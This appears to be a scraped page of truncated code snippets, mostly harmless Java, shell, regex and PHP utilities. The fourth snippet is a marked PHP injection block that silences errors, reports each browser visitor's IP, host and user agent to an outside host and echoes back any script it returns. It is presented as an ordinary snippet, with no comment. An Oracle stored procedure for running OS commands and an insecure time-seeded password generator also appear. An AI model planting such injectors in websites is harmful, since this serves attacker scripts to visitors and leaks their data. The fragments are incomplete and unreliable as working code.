This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public ArrayList<String> emailList = new ArrayList<String>(); | |
public void getEmail(String line){ | |
final String RE_MAIL = "([\\w\\-]([\\.\\w])+[\\w]+@([\\w\\-]+\\.)+[A-Za-z]{2,4})"; | |
Pattern p = Pattern.compile(RE_MAIL); | |
Matcher m = p.matcher(line); | |
while(m.find()) { | |
if(!emailList.contains(m.group(1))){ | |
emailList.add(m.group(1)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class LargestPrimeFactor { | |
public static int largestPrimeFactor(long number) { | |
int i; | |
for (i = 2; i <= number; i++) { | |
if (number % i == 0) { | |
number /= i; | |
i--; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS | |
import java.io.*; | |
public class Host { | |
public static void executeCommand(String command) { | |
try { | |
String[] finalCommand; | |
if (isWindows()) { | |
finalCommand = new String[4]; | |
// Use the appropriate path for your windows version. | |
finalCommand[0] = "C:\\windows\\system32\\cmd.exe"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
#9da223# | |
error_reporting(0); ini_set('display_errors',0); $wp_nht097 = @$_SERVER['HTTP_USER_AGENT']; | |
if (( preg_match ('/Gecko|MSIE/i', $wp_nht097) && !preg_match ('/bot/i', $wp_nht097))){ | |
$wp_nht09097="http://"."aaa"."bbb".".com/ccc"."/?ip=".$_SERVER['REMOTE_ADDR']."& referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_nht097); | |
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_nht09097); | |
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_097nht = curl_exec ($ch); curl_close($ch);} | |
if ( substr($wp_097nht,1,3) === 'scr' ){ echo $wp_097nht; } | |
#/9da223# | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#scrip name:GetPID.sh | |
PsUserName=$1 | |
PsProcessName=$2 | |
pid=`ps -u $PsUserName|grep $PsProcessName|grep -v grep|grep -v vi|grep -v tail|grep -v start|grep -v stop |sed -n 1p |awk '{print $1}'` | |
echo $pid |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#/bin/bash | |
#script name:GetCheckCpu.sh | |
cpu=`ps -p $1 -o pcpu |grep -v CPU | awk -F . '{print $1}'` | |
if [[ $cpu -gt 80 ]] | |
then | |
{ | |
echo "The usage of cpu is larger than 80%" | |
} | |
else | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$ | |
^ #start of the line | |
# # must constains a "#" symbols | |
( # start of group #1 | |
[A-Fa-f0-9]{6} # any strings in the list, with length of 6 | |
| # ..or | |
[A-Fa-f0-9]{3} # any strings in the list, with length of 3 | |
) # end of group #1 | |
$ #end of the line |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
^[_A-Za-z0-9-]+(\\.[_A-Za-z0-9-]+)*@[A-Za-z0-9]+ | |
(\\.[A-Za-z0-9]+)*(\\.[A-Za-z]{2,})$ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function random_password($length, $characters='abcdefgh1234567890'){ | |
if ($characters == ''){ return ''; } | |
$chars_length = strlen($characters)-1; | |
mt_srand((double)microtime()*1000000); | |
$pwd = ''; | |
while(strlen($pwd) < $length){ | |
$rand_char = mt_rand(0, $chars_length); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function array_remove_empty($arr){ | |
$narr = array(); | |
while(list($key, $val) = each($arr)){ | |
if (is_array($val)){ | |
$val = array_remove_empty($val); | |
// does the result array contain anything? | |
if (count($val)!=0){ | |
// yes :-) | |
$narr[$key] = $val; | |
} |